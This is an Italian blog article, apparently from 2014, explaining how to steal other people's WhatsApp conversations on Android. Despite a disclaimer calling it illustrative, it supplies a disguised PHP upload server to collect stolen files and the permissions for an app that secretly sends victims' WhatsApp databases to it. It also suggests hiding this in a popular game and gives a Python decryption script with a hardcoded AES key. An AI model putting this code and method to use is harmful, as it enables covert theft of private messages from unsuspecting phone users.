Magazine Informatica

WhatsApp: come rubare le conversazioni altrui

Creato il 12 marzo 2014 da Paolo Dolci @androidblogit

WhatsApp: come rubare le conversazioni altrui Android Blog Italia.

È possibile leggere le conversazioni WhatsApp da un’altra applicazione Android? La risposta è si il ché, come potete intuire, mette a rischio la privacy di tutti coloro che utilizzano la famosa applicazione di messaggistica istantanea. Se vi state chiedendo come e perché sia possibile, cercheremo di dare una risposta chiara con questa guida, il cui scopo è puramente illustrativo.

650x245xWhatsApp 650x245.jpg.pagespeed.ic .7pr2rv9dtx 600x226 WhatsApp: come rubare le conversazioni altrui guide  whatsapp leggere conversazioni chat

Innanzitutto, dovete sapere che il database WhatsApp è salvato nella nostra SD card e può essere letto da tutte le applicazioni che hanno i permessi per farlo. Finché la maggior parte degli utenti Android concederanno i permessi ad ogni applicazione, questo particolare ostacolo non costituirà un vero problema.

Come può un’applicazione Android permetterci di leggere le conversazioni WhatsApp di un altro utente? Come prima cosa, abbiamo bisogno di un posto dove memorizzare i database WhatsApp, un esempio è costituito da un semplice web server contente uno script PHP:

<?php
// Upload script to upload Whatsapp database
// This script is for testing purposes only.

$uploaddir = "/tmp/whatsapp/";

if ($_FILES["file"]["error"] > 0)
  {
  echo "Error: " . $_FILES["file"]["error"] . "<br>";
  }
else
  {
  echo "Upload: " . $_FILES["file"]["name"] . "<br>";
  echo "Type: " . $_FILES["file"]["type"] . "<br>";
  echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
  echo "Stored in: " . $_FILES["file"]["tmp_name"];

  $uploadfile = $uploaddir . $_SERVER['REMOTE_ADDR'] . "." . basename($_FILES['file']['name']);
  move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile);
  }
?>

<html>
   <head>
     <title>Shoo.. nothing here</title>
   </head>
   <body>
     <form method="post" enctype="multipart/form-data">  
       <input type="file" name="file" id="file">           
       <input type="submit" value="Submit">
     </form>
   </body>
</html>

Assicuratevi, inoltre, di configurare il file php.ini nel vostro server per permettergli l’upload di file più grandi. Queste le righe da modificare:

file_uploads = On
post_max_size = 32M
upload_max_filesize = 32M

A questo punto, basterà sviluppare una qualsiasi applicazione Android che, in background, invii i database WhatsApp di chi la esegue al server e il gioco è fatto. Inoltre, è un progetto abbastanza semplice da portare a termine. Vediamo come.

Il passo iniziale riguarda la creazione di un progetto Android in Eclipse seguendo i passi di default dell’ADT. Nel manifesto Android che si andrà a creare, ci basterà concedere i permessi che vedete qui di seguito:

<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.INTERNET" />

Aggiungendo queste due righe al file AndroidManifest.xml, daremo all’applicazione i permessi per accedere alla SD card. Per ciò che concerne il layout, invece, non serve apportare cambiamenti particolari (basta lasciare quello creato di default da Eclipse) anche se, in questo caso, abbiamo spostato il TextView al centro e incrementato la grandezza del testo. Il magico upload del database WhatApp avverrà prima che il layout venga visualizzato!

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    tools:context=".MainActivity" >

    <TextView
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_alignParentTop="true"
        android:layout_centerHorizontal="true"
        android:layout_marginTop="179dp"
        android:text="@string/hello_world"
        android:textSize="24sp" />

</RelativeLayout>

Il lavoro principale, giunti a questo punto, avviene nel codice del file MainActivity.java, dove risiede il compito dell’applicazione, ossia effettuare l’upload dei tre file seguenti:

  • /WhatsApp/Databases/msgstore.db
  • /WhatsApp/Databases/wa.db
  • /WhatsApp/Databases/msgstore.db.crypt

I primi due file rappresentano i database delle versioni WhatsApp meno aggiornate, poiché nelle nuove versioni avremo il file msgstore.db.crypt che, come potete immaginare, è crittografato. Tuttavia, è ancora possibile leggere le conversazioni da questo database, vedremo più giù come. Durante l’upload dei file, l’applicazione mostrerà una semplice schermata di caricamento e, quando la fase di loading sarà conclusa, verrà visualizzato il layout. A questo punto, come soprascritto, i file saranno già sul nostro server. Potete scaricare il file MainActivity.java qui.

Naturalmente, al posto di uno screen per il caricamento iniziale, è possibile inserire un codice come questo in una qualunque applicazione. Immaginate che questo avvenga con un gioco che è spopolato recentemente come Flappy Bird, in men che non si dica ritroverete sul vostro server un numero considerevole di database.

Per concludere, ritorniamo al database crittografato di WhatsApp. Si tratta, per la precisione, di un database SQLite3 che, per un accesso più comodo e veloce, può essere convertito in formato Excel. Tuttavia, per aprirlo, è necessario decrittografare il file e questo è possibile grazie ad uno script scritto in Python come quello che potete vedere qui di seguito.

#!/usr/bin/env python

import sys
from Crypto.Cipher import AES

try:
    wafile=sys.argv[1]
except:
    print "Usage: %s <msgstore.db.crypt>" % __file__
    sys.exit(1)

key = "346a23652a46392b4d73257c67317e352e3372482177652c".decode('hex')
cipher = AES.new(key,1)
open('msgstore.db',"wb").write(cipher.decrypt(open(wafile,"rb").read()))

Prima di concludere, va fatta un’ultima precisazione sull’argomento. Come in tutti i protocolli di cifratura, è necessaria una chiave. In questo caso, stiamo parlando di una chiave AES (Advanced Encryption Standard) che potete procurarvi grazie all’ottimo tool WhatsApp Xtract presente su XDA.

 

WhatsApp: come rubare le conversazioni altrui Android Blog Italia.


Potrebbero interessarti anche :

Ritornare alla prima pagina di Logo Paperblog

Possono interessarti anche questi articoli :